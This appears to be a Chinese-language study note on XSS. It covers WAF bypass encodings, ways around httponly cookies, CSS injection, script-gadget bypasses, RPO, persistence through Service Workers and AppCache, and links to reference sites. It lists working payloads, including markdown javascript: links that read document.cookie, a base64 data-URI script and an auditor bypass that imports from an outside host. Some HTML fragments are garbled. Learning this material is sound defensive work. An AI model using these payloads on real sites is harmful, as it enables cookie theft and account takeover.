Web安全学习笔记 XSS漏洞分析下
Web安全学习笔记 XSS下
玲珑骰子安红豆,入骨相思知不知。 ——温庭筠《新添声杨柳枝词》
- WAF Bypass
- 技巧
- Payload
- 持久化
- 参考链接
Part1一.WAF Bypass
1WAF 绕过
利用<>标记
利用html属性
href
lowsrc
bgsound
background
value
action
dynsrc
关键字
利用回车拆分
字符串拼接
window["al" + "ert"]
利用编码绕过
base64
jsfuck
String.fromCharCode
HTML
URL
hex
window["\x61\x6c\x65\x72\x74"]
unicode
utf7
+ADw-script+AD4-alert('XSS')+ADsAPA-/script+AD4-
utf16
大小写混淆
对标签属性值转码
产生事件
css跨站解析
长度限制bypass
eval(name)
eval(hash)
import
$.getScript
$.get
.
使用 。 绕过IP/域名
document['cookie'] 绕过属性取值
过滤引号用 `` `` 绕过`
Part2二. 技巧
2内容索引:
1.httponly
1.在cookie为httponly的情况下
可以通过xss直接在源站完成操作
不直接获取cookie
2.在有登录操作的情况下
部分站点直接发送登录请求可能会带有cookie
3.部分特定版本的浏览器可能
会在httponly支持/处理上存在问题
4.低版本浏览器支持 TRACE / TRACK
可获取敏感的header字段
5.phpinfo 等页面可能会回显信息
这些信息中包含http头
6.通过xss劫持页面钓鱼
7.通过xss伪造oauth等授权请求
远程登录
2.CSS 注入
1. 基本介绍
CSS注入最早开始于利用CSS中的 expression() url() regex() 等函数或特性来引入外部的恶意代码,但是随着浏览器的发展,这种方式被逐渐禁用,与此同时,出现了一些新的攻击方式。
2. CSS selectors
上图是利用CSS selectors完成攻击的一个示例
3. Abusing Unicode Range
当可以插入CSS的时候,可以使用 font-face 配合 unicode-range 获取目标网页对应字符集。PoC如下
"sensitive-information">AB
当字符较多时,则可以结合 ::first-line 等CSS属性缩小范围,以获取更精确的内容
3. Bypass Via Script Gadgets
3.1. 简介
一些网站会使用白名单或者一些基于DOM的防御方式,对这些方式,有一种被称为 Code Reuse 的攻击方式可以绕过。该方式和二进制攻防中的Gadget相似,使用目标中的合法代码来达到绕过防御措施的目的。
在论文 Code-Reuse Attacks for the Web: Breaking Cross-Site Scripting Mitigations via Script Gadgets 中有该方法的具体描述。
portswigger的一篇博文也表达了类似的想法
https://portswigger.net/blog/abusing-javascript-frameworks-to-bypass-xss-mitigations。
下面有一个简单的例子,这个例子使用了 DOMPurify 来加固,但是因为引入了 jquery.mobile.js 导致可以被攻击。
3.2. 例子
// index.php
<?php
$msg = $_GET['message'];
$msg = str_replace("\n", "", $msg);
$msg = base64_encode($msg);
?>
"en">
"UTF-8">
Preview
// payload
'-->
<script>alert(1)</script>'>
4. RPO(Relative Path Overwrite)
RPO(Relative Path Overwrite) 攻击又称为相对路径覆盖攻击,依赖于浏览器和网络服务器的反应,利用服务器的 Web 缓存技术和配置差异。
Part3三. Payload
3常用
4大小写绕过
![]()
![]()
![]()
"alert("M")">
5各种alert
6伪协议
M
M
M
M
7Chrome XSS auditor bypass
?param=https://¶m=@z.exeye.io/import%20rel=import%3E
M
8长度限制
\...
9jquery sourceMappingURL
10图片名
">
.gif
11过期的payload
src=javascript:alert基本不可以用
css expression特性只在旧版本ie可用
12css
"background-image:url(javascript:alert(/xss/))">
13markdown
[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
<ڪvascript:alert('XSS')>

[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)

14iframe
#x6E;load=alert(1)>>
15form
16meta
"Link" Content="; REL=stylesheet">
Part4四.持久化
17基于存储
有时候网站会将信息存储在Cookie或localStorage,而因为这些数据一般是网站主动存储的,很多时候没有对Cookie或localStorage中取出的数据做过滤,会直接将其取出并展示在页面中,甚至存了JSON格式的数据时,部分站点存在 eval(data) 之类的调用。因此当有一个XSS时,可以把payload写入其中,在对应条件下触发。
在一些条件下,这种利用方式可能因为一些特殊字符造成问题,可以使用 String.fromCharCode 来绕过。
18Service Worker
Service Worker可以拦截http请求,起到类似本地代理的作用,故可以使用Service Worker Hook一些请求,在请求中返回攻击代码,以实现持久化攻击的目的。
在Chrome中,可通过 chrome://inspect/#service-workers 来查看Service Worker的状态,并进行停止。
19AppCache
在可控的网络环境下(公共wifi),可以使用AppCache机制,来强制存储一些Payload,未清除的情况下,用户访问站点时对应的payload会一直存在。
Part5五.参考链接
20wiki
AwesomeXSS
https://github.com/s0md3v/AwesomeXSS
w3c
https://w3c.github.io/webappsec-csp/
dom xss wiki
https://github.com/wisec/domxsswiki/wiki
content-security-policy.com
https://content-security-policy.com/
markdwon xss
https://shubs.io/exploiting-markdown-syntax-and-telescope-persistent-xss-through-markdown-cve-2014-5144/
xss cheat sheet
https://brutelogic.com.br/blog/cheat-sheet/
html5 security cheatsheet
https://html5sec.org/
http security headers
https://www.invicti.com/whitepaper-http-security-headers/
XSSChallengeWiki
https://github.com/cure53/XSSChallengeWiki/wiki
21Challenges
XSS Challenge By Google
https://xss-game.appspot.com/
prompt to win
http://prompt.ml/0
22CSS
rpo
http://www.thespanner.co.uk/2014/03/21/rpo/
rpo攻击初探
http://www.zjicmisa.org/index.php/archives/127/
Reading Data via CSS
https://curesec.com/blog/article/blog/Reading-Data-via-CSS-Injection-180.html
css based attack abusing unicode range
https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html
css injection
https://speakerdeck.com/lmt_swallow/css-injection-plus-plus-ji-cun-shou-fa-falsegai-guan-todui-ce
css timing attack
https://blog.sheddow.xyz/css-timing-attack/
23同源策略
Same origin policy
https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy
cors security guide
https://www.bedefended.com/papers/cors-security-guide
logically bypassing browser security boundaries
https://speakerdeck.com/shhnjk/logically-bypassing-browser-security-boundaries
24bypass
666 lines of xss payload
https://gist.github.com/JohannesHoppe/5612274
xss auditor bypass
https://github.com/masatokinugawa/filterbypass
xss auditor bypass writeup
https://www.leavesongs.com/HTML/chrome-xss-auditor-bypass-collection.html
bypassing csp using polyglot jpegs
https://portswigger.net/research/bypassing-csp-using-polyglot-jpegs
bypass xss filters using javascript global variables
https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/
25持久化
变种XSS 持久控制 by tig3r
http://drops.wooyun.org/web/10798
Using Appcache and ServiceWorker for Evil
https://sakurity.com/blog/2015/08/13/middlekit.html
26Tricks
Service Worker 安全探索
https://github.com/etherdream/sw-sec
前端黑魔法
https://github.com/EtherDream/web-frontend-magic